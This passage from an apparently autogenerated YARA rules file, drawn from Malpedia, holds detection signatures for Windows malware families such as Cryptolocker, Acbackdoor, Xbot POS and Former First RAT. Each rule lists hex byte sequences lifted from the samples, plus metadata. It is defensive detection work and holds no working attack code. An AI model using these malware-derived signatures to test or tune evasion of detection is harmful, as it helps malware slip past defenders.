		$sequence_3 = { 4881c308000000 660fa4d81f f6d8 f9 9d d2e0 }
		$sequence_4 = { 4153 310c24 6641ffc3 415b 403aea 6685d7 4863c9 }
		$sequence_5 = { f9 f8 4151 41d2e1 311c24 4532cd 4522ce }
		$sequence_6 = { ff15???????? 3ac3 e9???????? 0f8492010000 440fb7442430 488b542438 490fb7c9 }
		$sequence_7 = { 8d56d4 fa 158935079e 9e 4657 250543b1d9 f661fd }
		$sequence_8 = { 440fb7c1 4080fca3 6683f819 e9???????? 0f8703000000 4503c5 0fb703 }
		$sequence_9 = { 4180fd52 4983c004 3bc8 e9???????? 0f860a000000 b801000000 e9???????? }
	condition:
		7 of them and filesize < 3761152
}

rule MALPEDIA_Win_Unidentified_077_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c6846d21-78e4-583b-8f44-246681283285"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_077"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_077_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "ae8dcec1ad8cfc6899d8fdf0b1cf7ff7e070518ed02c06d0a8c7c2869d228f4f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d4210 83c220 f30f6f0418 660fefc1 f30f7f0418 413bd1 }
		$sequence_1 = { 48894640 488d05a1fcffff 48894648 8b442424 }
		$sequence_2 = { 4933f8 4a87bcf1a0bf0100 33c0 488b5c2450 488b6c2458 488b742460 }
		$sequence_3 = { 4c8d442470 897c2470 488d542468 897c2468 488bcb e8???????? 85c0 }
		$sequence_4 = { 498bc6 4823cb 4823c3 483bc1 7354 6690 b910000000 }
		$sequence_5 = { e8???????? 85c0 0f85c6000000 448b442468 }
		$sequence_6 = { 488b8dd00c0000 4833cc e8???????? 4881c4f80d0000 415f 415d 415c }
		$sequence_7 = { 33c0 488bb424a0000000 4c8bb424a8000000 488bac2498000000 4c8b7c2460 488b4c2450 }
		$sequence_8 = { 751b ff15???????? 488bce 418907 }
		$sequence_9 = { 488d0592fcffff 48894630 488d0597fcffff 48894638 488d059cfcffff 48894640 }
	condition:
		7 of them and filesize < 270336
}

rule MALPEDIA_Win_Acbackdoor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5acb810f-7fcf-50a8-b5e5-5957312412ae"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.acbackdoor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.acbackdoor_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "e7c1851e66beefe0ede613bab170645d1cd40698015b7587734102d809a005df"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 85c0 0f8524020000 83fd04 0f8326020000 85ed 0f853c020000 }
		$sequence_1 = { e8???????? c70424???????? ff15???????? 894500 85c0 7488 803e2f }
		$sequence_2 = { e8???????? 8b83f0010000 05b8030000 890424 e8???????? 8b83f0010000 89442420 }
		$sequence_3 = { e8???????? 803f04 89c5 7567 8d440001 39c6 7555 }
		$sequence_4 = { e9???????? 8b6c2448 8b9c24c0000000 8b83f4000000 85c0 0f85d8020000 8b03 }
		$sequence_5 = { c783b008000000000000 c7838c05000001000000 c7839005000001000000 c7839405000005000000 895c2404 890424 e8???????? }
		$sequence_6 = { 8d57fe 0fb7c0 39d0 0f85bc050000 8d4306 8d342b 89442458 }
		$sequence_7 = { c7442408???????? c7442404???????? 890424 e8???????? 84c0 0f8519050000 8b83e4000000 }
		$sequence_8 = { ffd0 85c0 0f8863010000 39c5 0f865b010000 29c5 01c7 }
		$sequence_9 = { c744242005000000 e9???????? 83c803 8906 8b4304 89442410 85c0 }
	condition:
		7 of them and filesize < 1704960
}

rule MALPEDIA_Win_Cryptolocker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1c4f4307-498a-5b8a-b0ac-d9860b1cffe0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptolocker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cryptolocker_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "0e60803263408ddfb3182de11bb9ae9942a6a4eed3e22029213fee0c658ec6ec"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c1e810 50 8b4610 52 ffd0 0fb6c0 5e }
		$sequence_1 = { 83f80d 7605 663bc3 7504 }
		$sequence_2 = { 8b06 8945e0 8b4604 8945e4 8b4d14 }
		$sequence_3 = { 7539 ff7508 8b55ec 8b4de8 e8???????? }
		$sequence_4 = { 48 7527 33f6 397714 7620 8b1d???????? 8b4710 }
		$sequence_5 = { 5d c21800 8b4304 6a40 ff7518 8b4004 }
		$sequence_6 = { ff15???????? 668b45dc 66a3???????? 8be5 5d c3 33c0 }
		$sequence_7 = { 4e 49 79e4 5b }
		$sequence_8 = { 740e 50 52 ff35???????? ff15???????? 5f }
		$sequence_9 = { 8bd8 81fb7a000780 750e 807dff00 751f }
	condition:
		7 of them and filesize < 778240
}

rule MALPEDIA_Win_Bleachgap_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "273003cf-3dbb-5afb-a5ea-bb6d27dae595"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bleachgap"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bleachgap_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "e20e0cd9d2a699ef9480dfe92d72685e3d909ce98e8e306df6822787c7e8d012"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4110 89500c 8b4110 894210 8b442410 895110 894a0c }
		$sequence_1 = { 8d8d80fdffff e8???????? 8d8d48feffff e8???????? 8ac3 8b4df4 64890d00000000 }
		$sequence_2 = { c78514fdffff00000000 c78524fdffff00000000 c78528fdffff00000000 0f1000 0f118514fdffff f30f7e4010 660fd68524fdffff }
		$sequence_3 = { 83f81f 0f8783010000 51 52 e8???????? 83c408 8b8d5cffffff }
		$sequence_4 = { 52 e8???????? 83c408 8a85bffeffff eb61 8b55bc 83ff10 }
		$sequence_5 = { 83c404 83ee01 7839 0f1f00 56 57 e8???????? }
		$sequence_6 = { 6859040000 68???????? 68db000000 e9???????? 55 e8???????? 83c404 }
		$sequence_7 = { 46 8ac8 84c0 75dc 84c0 0f845b020000 e9???????? }
		$sequence_8 = { 8b542424 8b4c2440 89450c 03ca 8b44243c 894d10 8b04b8 }
		$sequence_9 = { 8945d0 8d4344 8945d4 8d434c 8945d8 8d4354 8945dc }
	condition:
		7 of them and filesize < 4538368
}

rule MALPEDIA_Win_Chaperone_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5d73acaa-0673-57ad-848f-864644fbbeea"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chaperone"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chaperone_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "891c6d4b90ff2712f27f9dbb971bf9587d22b60dd85391f9a0f86beba2f74383"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488b442458 4839442428 0f8dd0000000 0fb6442421 83c001 }
		$sequence_1 = { ff15???????? 48898424902b0000 488d742470 488bbc24902b0000 b990180000 }
		$sequence_2 = { b9ffff1f00 ff15???????? 4889842450020000 4883bc245002000000 0f842b020000 4c8d842458020000 baff010f00 }
		$sequence_3 = { 48898424c0020000 837c243400 746b 4c8b842490000000 8b542434 488b8c24c0020000 }
		$sequence_4 = { 488d7c2450 488d35fba70000 b926000000 f3a4 }
		$sequence_5 = { 4889542410 48894c2408 4883ec48 488b442460 0fb68000010000 88442421 }
		$sequence_6 = { 488b0424 480590180000 48890424 ebb7 488b442420 }
		$sequence_7 = { 85c0 750a b801000000 e9???????? 488d442440 4889842498030000 488d842460030000 }
		$sequence_8 = { 4533c9 4533c0 33d2 33c9 e8???????? 488d158a090100 }
		$sequence_9 = { 488bd9 448d6eff 443bd7 754f 4c8d0565ce0000 458bcd ba00010000 }
	condition:
		7 of them and filesize < 373760
}

rule MALPEDIA_Win_Orchard_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5c398118-a219-5655-a01d-698db312ac7e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.orchard"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.orchard_auto.yar#L1-L159"
		license_url = "N/A"
		logic_hash = "ef8c17e904478cac826167cfa0e1c29f054430dec351151f351e3917ccca81f2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b49fc 83c223 2bc1 83c0fc 83f81f 0f877e030000 52 }
		$sequence_1 = { 83c028 895de0 8b5de8 894348 }
		$sequence_2 = { 8b75a8 46 56 e8???????? 8bf8 }
		$sequence_3 = { 89542420 f7e1 8bc8 8954240c }
		$sequence_4 = { 56 ff15???????? ff15???????? 50 6a00 }
		$sequence_5 = { 8d442410 50 ff15???????? 6685c0 }
		$sequence_6 = { 6a05 c70600000000 c7461000000000 c746140f000000 68???????? }
		$sequence_7 = { f7f9 81c2d0070000 52 ffd6 }
		$sequence_8 = { 0f877e030000 52 51 e8???????? 83c408 }
		$sequence_9 = { 50 ff15???????? 83f805 7507 }
		$sequence_10 = { c645fc08 e8???????? 894604 83c404 8d4718 897034 8d5804 }
		$sequence_11 = { 83c404 e8???????? 99 b95b000000 f7f9 }
		$sequence_12 = { 89542428 8b54240c 83d200 03c1 }
		$sequence_13 = { e8???????? 894604 83c318 897730 }
		$sequence_14 = { 8bc8 8bc7 8d9d48ffffff c645fc03 }
		$sequence_15 = { 8bc8 8bc7 8d5c2460 c68424a800000001 e8???????? 50 }
	condition:
		7 of them and filesize < 4716352
}

rule MALPEDIA_Win_Pkybot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "29bf327d-061e-5e00-99c9-e0f77546c9d5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pkybot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pkybot_auto.yar#L1-L115"
		license_url = "N/A"
		logic_hash = "8f4c476e3b3790c8de41f37bef9cc1cce302daf7501c6563be237c0b8f2d2ef4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bf0 eb02 33f6 8b4704 0590000000 894620 }
		$sequence_1 = { 33c0 e9???????? 53 6a10 ff7510 8d45f0 }
		$sequence_2 = { 53 ff7004 ff30 6aff }
		$sequence_3 = { 7407 46 8a06 84c0 79eb 8bc6 }
		$sequence_4 = { 7510 8b4e04 21413c c741300d000000 }
		$sequence_5 = { 6801000040 ff7510 ff750c e8???????? }
		$sequence_6 = { 7503 8b7104 83c10c e8???????? 50 8bce }
		$sequence_7 = { 8b07 8bcf ff5008 6a2c e8???????? }
		$sequence_8 = { 8b4008 eb08 e8???????? 59 }
		$sequence_9 = { 56 ff7510 ff750c ff7508 ff15???????? 85c0 }
	condition:
		7 of them and filesize < 204800
}

rule MALPEDIA_Win_Former_First_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b32c8876-3cb4-5a83-afbc-8273b6710cbb"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.former_first_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.former_first_rat_auto.yar#L1-L170"
		license_url = "N/A"
		logic_hash = "993e92398130145e5edd81dd2e97cc96804b675ca01f408cd00440763a5fee35"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 898dd4feffff c785e0feffff02000000 899decfeffff 899d04ffffff 8d5001 8a08 40 }
		$sequence_1 = { 53 68???????? e8???????? 83c408 eb08 8bd8 899d08efffff }
		$sequence_2 = { e8???????? 83c404 c744242800100000 6800100000 e8???????? 83c404 89442438 }
		$sequence_3 = { 7505 e8???????? 8b15???????? a1???????? 8b0d???????? 8995c8eeffff 8b15???????? }
		$sequence_4 = { 83c40c 33c0 6803010000 8d8df8feffff }
		$sequence_5 = { c785d8feffff00000100 c7850cffffff00000000 89b5f8feffff 0f8455010000 8da42400000000 a1???????? 8b9508ffffff }
		$sequence_6 = { c745e400040000 837d1400 8b4ddc 8d55e4 8d0433 7415 6810040000 }
		$sequence_7 = { 83c404 89442468 3bc3 750d 68???????? }
		$sequence_8 = { 413bc6 0f848d010000 488d542440 488d4c2450 ff15???????? }
		$sequence_9 = { 488d8c24a0000000 e8???????? 4d85f6 751d }
		$sequence_10 = { e8???????? eb7a 4983f8fe 7605 }
		$sequence_11 = { 4885f6 7456 488b4b08 4885c9 7444 }
		$sequence_12 = { 48c783900000000f000000 c6437800 48837b6010 7209 488b4b48 }
		$sequence_13 = { 48894720 488d0498 48894728 b001 488b9c24a0000000 }
		$sequence_14 = { 488d542420 e8???????? 90 48837c244008 7275 }
		$sequence_15 = { 488d942490020000 488d4c2440 e8???????? 90 }
	condition:
		7 of them and filesize < 626688
}

rule MALPEDIA_Win_Royalcli_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9a5a0dbf-041d-5a71-ace4-cc85bbf8dbac"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.royalcli"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.royalcli_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "c1838945d5c33b64e750d6ae434f43dd65441d3926695dd6e2b710434dc1c7bb"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a02 53 56 c745e844006900 c745ec73006100 c745f062006c00 c745f465004300 }
		$sequence_1 = { 33f6 85ff 7e4b 4f c1ef02 8d4a01 }
		$sequence_2 = { 66895008 6800000080 8d85d8fdffff 50 ffd3 83f8ff 7421 }
		$sequence_3 = { 6840000100 89b5c0feffff e8???????? 83c404 }
		$sequence_4 = { 5d c3 56 57 6a01 50 e8???????? }
		$sequence_5 = { 33cd e8???????? 8be5 5d c3 8b85e8fcffff 6840771b00 }
		$sequence_6 = { 68???????? ffd7 8d55e8 52 e8???????? 83c404 8bd8 }
		$sequence_7 = { 8b5d0c 8995bcf9ffff 8b5518 899da8f9ffff 8995b8f9ffff 7d11 33c0 }
		$sequence_8 = { 8b85bcfeffff 50 33f6 ff15???????? e9???????? 3d00000100 0f8f2bffffff }
		$sequence_9 = { 8d85c4fdffff 50 68???????? 68???????? 68???????? ffd6 bf???????? }
	condition:
		7 of them and filesize < 204800
}

rule MALPEDIA_Win_Grease_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ecfbbfe9-c011-518f-ab9d-ed514af53077"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grease"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grease_auto.yar#L1-L234"
		license_url = "N/A"
		logic_hash = "7c8c14c35a0def9c37a4dcb1634bd39b69466704a6828c5b8b5cd9c96e04b3c0"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 52 50 683f000f00 50 50 50 }
		$sequence_1 = { 4053 4881ec90020000 488b05???????? 4833c4 4889842480020000 488d4c2472 }
		$sequence_2 = { 4889442438 48897c2430 4533c0 c74424283f000f00 897c2420 ff15???????? 85c0 }
		$sequence_3 = { 895c2420 ff15???????? 85c0 0f85e7000000 }
		$sequence_4 = { 488b4c2460 ff15???????? b801000000 488b8c2480020000 4833cc e8???????? 4881c490020000 }
		$sequence_5 = { 4533c0 488bd3 c744242804000000 4889442420 ff15???????? 488b4c2450 ff15???????? }
		$sequence_6 = { 85c0 0f85e7000000 488b4c2460 488d442458 }
		$sequence_7 = { 488d542470 41b93f000f00 4533c0 48c7c102000080 }
		$sequence_8 = { 85c0 7534 488b4c2450 488d442458 41b904000000 4533c0 }
		$sequence_9 = { 51 6a04 53 68???????? 52 895c2430 ffd5 }
		$sequence_10 = { 68???????? 52 e8???????? 83c40c 8d84242c040000 55 50 }
		$sequence_11 = { c644342064 e9???????? c644342070 e9???????? c644342073 e9???????? }
		$sequence_12 = { 51 56 66899c2440010000 66899c2446010000 66c784244a0100000700 }
		$sequence_13 = { e9???????? c644340c79 e9???????? c644340c77 e9???????? c644340c76 }
		$sequence_14 = { 8d442424 8d5001 8a08 83c001 }
		$sequence_15 = { 66899c2440010000 66899c2446010000 66899c244a010000 66899c244c010000 }
		$sequence_16 = { 68???????? 52 e8???????? 83c408 8d442414 50 }
		$sequence_17 = { 83c408 8d442410 50 681f000200 53 8d4c2430 }
		$sequence_18 = { 6a00 50 c684241401000000 e8???????? 0fbe4c2410 56 }
		$sequence_19 = { c684342406000040 eb62 c68434240600007b eb58 }
		$sequence_20 = { 8dbc24490c0000 899424400c0000 be???????? f3ab 66ab }
		$sequence_21 = { eb3d c6440c0c3c eb36 c6440c0c28 eb2f c6440c0c24 eb28 }
		$sequence_22 = { 8d442414 6a04 50 6a04 55 68???????? 51 }
	condition:
		7 of them and filesize < 278528
}

rule MALPEDIA_Win_Floki_Bot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "25c81d04-9abf-5940-8e55-7e5abeb99153"
		date = "2024-10-31"
		modified = "2024-11-11"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.floki_bot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.floki_bot_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "e2f9df61c4df036b71f6882cf4c35419384506db07aa4de7d79fcad14d6710ad"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20241030"
		malpedia_hash = "26e26953c49c8efafbf72a38076855d578e0a2e4"
		malpedia_version = "20241030"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { fe45ff 8a45ff 3a45fc 7285 fe45fe 8a45fe 3a4601 }
		$sequence_1 = { 8bc6 8d74241c e8???????? 84c0 0f843f010000 8b442414 }
		$sequence_2 = { 53 57 8bf8 8d45f8 50 33db }
		$sequence_3 = { 8b4c2414 0fb713 83fa04 7516 663911 7507 8b4d10 }
		$sequence_4 = { 50 53 ff35???????? 682d010000 e8???????? 83c418 }
		$sequence_5 = { 50 e8???????? ff471c 015f14 8bc6 8b55fc e8???????? }
		$sequence_6 = { bf???????? e8???????? ff75f0 84c0 7407 e8???????? eb08 }
		$sequence_7 = { 8d45f4 50 e8???????? 6a09 6a00 8d45f4 50 }
		$sequence_8 = { 744d 66391f 7448 8d4c2440 e8???????? 6a04 8d544444 }
		$sequence_9 = { 84c0 744b 8b45f8 85c0 7414 ff75ec e8???????? }
	condition:
		7 of them and filesize < 286720
}

rule MALPEDIA_Win_Deputydog_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cfca8e79-f926-56a2-8c99-b5468ee055dd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deputydog"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.deputydog_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "ed5d5b1067c36186826e4424b2a432496a63ccbe3c2d0e290408a4c31dcb8d3d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c20c00 56 8bf1 6a04 ff74240c 8d4624 50 }
		$sequence_1 = { ff15???????? 85c0 7424 8b45d8 8b55dc 6a14 }
		$sequence_2 = { 8b7508 ff75f0 ff15???????? 57 6880000000 }
		$sequence_3 = { 8b45f0 59 885dfc 59 8906 57 }
		$sequence_4 = { c0e102 884dff eb35 83fa01 7511 8ac1 c0e804 }
		$sequence_5 = { 6a14 59 e8???????? 8b55d4 6a14 8945e4 8b45d0 }
		$sequence_6 = { 6a15 be???????? 59 bf???????? f3a5 8d8d74ffffff e8???????? }
		$sequence_7 = { c645fc0a ff15???????? 8d8dccfeffff c645fc05 e8???????? 8d45cc }
		$sequence_8 = { 2bc8 c1f905 394df0 0f83e2000000 03c7 56 50 }
		$sequence_9 = { 8808 eb53 83ff01 7518 8a0e }
	condition:
		7 of them and filesize < 90112
}

rule MALPEDIA_Win_Xbot_Pos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "940e14dd-221d-5819-92eb-1310f719add8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xbot_pos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xbot_pos_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "535bdd8a229ae04e062f9eb15912ae47549a3a824b333a9bb79944aa1215914b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c685d3fcffff00 c745fcffffffff 8d4dd0 e8???????? }
		$sequence_1 = { 6bc230 03048de0465600 b901000000 c1e100 c644082a0a 807dff01 }
		$sequence_2 = { eb0a c78558fcffff01000000 8a9558fcffff 88959ffdffff }
		$sequence_3 = { 005f56 4d 005f56 4d 0026 56 4d }
		$sequence_4 = { e8???????? c685bbfdffff01 c745fcffffffff 8d8da8feffff e8???????? 8a85bbfdffff 52 }
		$sequence_5 = { 4c 005166 4c 004566 4c 007566 4c }
		$sequence_6 = { 743e 83ec0c 8bc4 89a5ecfeffff 6a00 50 8d4d0c }
		$sequence_7 = { 83e13f 6bd130 8b0485e0465600 0fb64c1028 83e140 740f }
		$sequence_8 = { c68583f9ffff01 eb07 c68583f9ffff00 8a8d83f9ffff 888dcbfbffff 8b45e8 8a8dd7fbffff }
		$sequence_9 = { e8???????? 83c404 83e03f 6bc830 030cb5e0465600 894de4 eb07 }
	condition:
		7 of them and filesize < 3031040
}

rule MALPEDIA_Win_Suppobox_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5b7250ed-3647-5a89-a116-017b310c526f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.suppobox"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.suppobox_auto.yar#L1-L191"
		license_url = "N/A"
		logic_hash = "05beb26ad12e675f535ee9462bf9d41a047c1dcd3464f804af01fdd75563ee81"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7e10 a1???????? 0305???????? a3???????? }
		$sequence_1 = { 3bc8 7d10 a1???????? 2b05???????? a3???????? }
		$sequence_2 = { 890d???????? e8???????? 8bf0 e8???????? 03f0 }
		$sequence_3 = { 8945f0 a1???????? 83e801 a3???????? }
		$sequence_4 = { 7412 8b0d???????? 030d???????? 890d???????? }
		$sequence_5 = { 7d10 a1???????? 0b05???????? a3???????? }
		$sequence_6 = { 7f10 a1???????? 2305???????? a3???????? }
		$sequence_7 = { 01c6 39fe 0f8d2f020000 80bc2ef4f7ffff0a }
		$sequence_8 = { 019dacf7ffff 83c40c 299dc4f7ffff e9???????? }
		$sequence_9 = { 8d48ff 2d9b507602 8985dcfdffff db85dcfdffff }
		$sequence_10 = { 01c6 39fe 0f8d7e010000 80bc2ef4f7ffff0a }
		$sequence_11 = { 8d48ff 2d9696ca2f 39c2 66898d92feffff 0f8dbbfcffff }
